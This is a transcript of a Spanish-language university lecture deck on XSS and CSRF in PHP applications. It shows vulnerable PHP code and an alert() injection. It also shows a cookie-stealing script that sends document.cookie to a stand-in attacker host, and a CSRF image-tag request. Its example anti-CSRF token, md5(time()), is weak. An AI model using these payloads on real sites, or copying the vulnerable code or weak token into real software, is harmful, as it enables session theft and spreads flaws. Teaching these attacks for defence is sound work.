Ataques XSS y CSRF

18
Ataques XSS y CSRF CI-2413 Desarrollo de Aplicaciones para Internet

description

Ataques XSS y CSRF. CI-2413 Desarrollo de Aplicaciones para Internet. Seguridad. Podremos hablar de aplicaciones web seguras y inseguras. Por definición una aplicación web segura es aquella que es 100% invulnerable a cualquier tipo de ataque. - PowerPoint PPT Presentation

Transcript of Ataques XSS y CSRF

Page 1: Ataques XSS y CSRF

Ataques XSS y CSRF

CI-2413 Desarrollo de Aplicaciones para Internet

Page 2: Ataques XSS y CSRF

Seguridad

• Podremos hablar de aplicaciones web seguras y inseguras.

• Por definición una aplicación web segura es aquella que es 100% invulnerable a cualquier tipo de ataque.

• Sobre esta base se pueden considerar las aplicaciones web como inseguras.

• Se verá protección contra dos tipos de ataques.

Page 3: Ataques XSS y CSRF

Cross-Site Scripting (XSS)

• El error fundamental que conduce a vulnerabilidades de tipo XSS es tener confianza en los datos foráneos.

• La recomendación general es desconfiar siempre de los datos del visitante.

• Como datos foráneos vamos a considerar cualquier dato que reciba el servidor web. V.G.: correo emitido por un cliente de correo web, un banner publicitario, las citas proveidas por XML vía HTTP, los datos del visitante, ...

Page 4: Ataques XSS y CSRF

Ejemplo de XSS

• Considere el siguiente formulario:<form action="/registrar.php" method="post">

<p>Nombre de usuario: <input type="text" name="reg_usuario" /></p>

<p>Email: <input type="text" name="reg_email" /></p>

<p><input type="submit" value="Registrar" />

</form>

Page 5: Ataques XSS y CSRF

Ejemplo de XSS

• Ahora considere el siguiente script de inserción de los datos:if (!get_magic_quotes_gpc()) {

$_POST['reg_usuario'] = addslashes($_POST['reg_usuario']);

$_POST['reg_email'] = addslashes($_POST['reg_email']);

}

$sql = "insert into users (username, email) values ('{$_POST['reg_usuario ']}', '{$_POST['reg_email']}')";

Page 6: Ataques XSS y CSRF

Ejemplo de XSS

• Imagine el siguiente nombre de usuario:<script>alert('¡Oh no!');</script>

• Se puede determinar fácilmente que el código anterior no es nombre de usuario válido, lo cual demuestra que el código que escribimos no es siempre prudente.

• Por supuesto, el peligro de XSS reside en el efecto producido cuando los datos son reenviados a otros utilizadores.

Page 7: Ataques XSS y CSRF

Ejemplo de XSS

• Despligue por un administrador:<table>

<tr>

<th>Usuario</th>

<th>Email</th>

</tr>

<?php

if ($_SESSION['admin']) {

$sql = 'select username,email from users';

$result = mysql_query($sql);

while ($user = mysql_fetch_assoc($result)) {

echo "\t<tr>\n";

echo "\t\t<td>{$user['username']}</td>\n";

echo "\t\t<td>{$user['email']}</td>\n";

echo "\t</tr>\n";

}

}

?>

</table>

Page 8: Ataques XSS y CSRF

Ejemplo de XSS

• En el ejemplo anterior si los datos no son validados antes de ser guardados, el administrador podrá ser sujeto de un ataque XSS.

Page 9: Ataques XSS y CSRF

Ejemplo de XSS

• El riesgo es aún más evidente con algún ataque más vicioso como el siguiente:<script>

document.location = 'http://maligno.ejemplo.org/roba_cookies.php?cookies=' + document.cookie

</script>

• En este ejemplo, el script distante roba_cookies.php puede acceder a los cookies con la variable $_GET['cookies']. Un vez capturados los cookies pueden ser utilizados para lanzar ataques de usurpación de identidad, obtener datos sensibles, etc.

Page 10: Ataques XSS y CSRF

Protegerse contra XSS

• Filtrar todos los datos foráneos.

• Utilizar la funcionalidad existente: htmlentities(), strip_tags, utf8_decode(), etc. pueden ayudar a escribir la lógica de filtrado.

• Solamente autorizar un contenido validado.

• Utilizar una convención de nombres descriptiva.

• Ser creativo.

Page 11: Ataques XSS y CSRF

Cross-Site Request Forgeries (CSRF)

• Este tipo de ataques en lugar de explotar la confianza del usuario explotan la confianza que hace el sitio web a sus usuarios.

• CSRF implica la simulación de solicitudes HTTP, por lo cual es muy importante entender las solicitudes HTTP.

Page 12: Ataques XSS y CSRF

Ejemplo de CSRF

• Considere un foro hipotético en http://foro.ejemplo.org/ que utiliza el siguiente formulario:<form action="/add_post.php">

<p>Asunto: <input type="text" name="post_subject" /></p>

<p>Mensaje: <textarea name="post_message"></textarea></p>

<p><input type="submit" value="Enviar" /></p>

</form>

Page 13: Ataques XSS y CSRF

Ejemplo de CSRF

• Dado que en el código anterior no se indicó POST una solicitud GET es enviada:GET /add_post.php?post_subject=foo&post_message=bar

HTTP/1.1

HOST: foro.ejemplo.org

Cookie: PHPSESSID=123456789

Page 14: Ataques XSS y CSRF

Ejemplo de CSRF

• Considere la etiqueta <img> siguiente:<img src="http://foro.ejemplo.org/add_post.php?

post_subject=foo&post_message=bar” />

• Cuando un navegador pida esta imagen va a enviar exactamente la misma solicitud de la filmina anterior. La víctima va a enviar un mensaje en el foro y sin darse cuenta.

Page 15: Ataques XSS y CSRF

Protegerse contra CSRF

• Utilizar el método POST en los formularios.

• Utilizar el arreglo $_POST en lugar de las variables creadas gracias a register_globals.

• No simplificar las acciones importantes.

• Obligar al usuario a utilizar nuestros formularios HTML.

Page 16: Ataques XSS y CSRF

Protegerse contra CSRF

• Un ejemplo de técnica para obligar al usuario a utilizar nuestros propios formularios es la siguiente:

<?php

$token = md5(time());

$_SESSION['token'] = $token;

$_SESSION['token_timestamp'] = time();

?>

<form action="/add_post.php">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<p>Asunto: <input type="text" name="post_subject" /></p>

<p>Mensaje: <textarea name="post_message"></textarea></p>

<p><input type="submit" value="Enviar" /></p>

</form>

Page 17: Ataques XSS y CSRF

Lecturas adicionales

• PHP Under Attaque: presentación sobre XSS y CSRF– http://talks.php.net/show/php-under-attack/

• XSS– http://httpd.apache.org/info/css-security/

– http://www.cgisecurity.com/articles/xss-faq.shtml

– http://www.php-secure.info/v2/article/XSS.php

• CSRF– http://www.tux.org/~peterw/csrf.txt

Page 18: Ataques XSS y CSRF

Proyecto de seguridad

• XSS:– HTMLfilter es un proyecto para PHP que

analiza todos los datos HTTP antes de ser utilizados.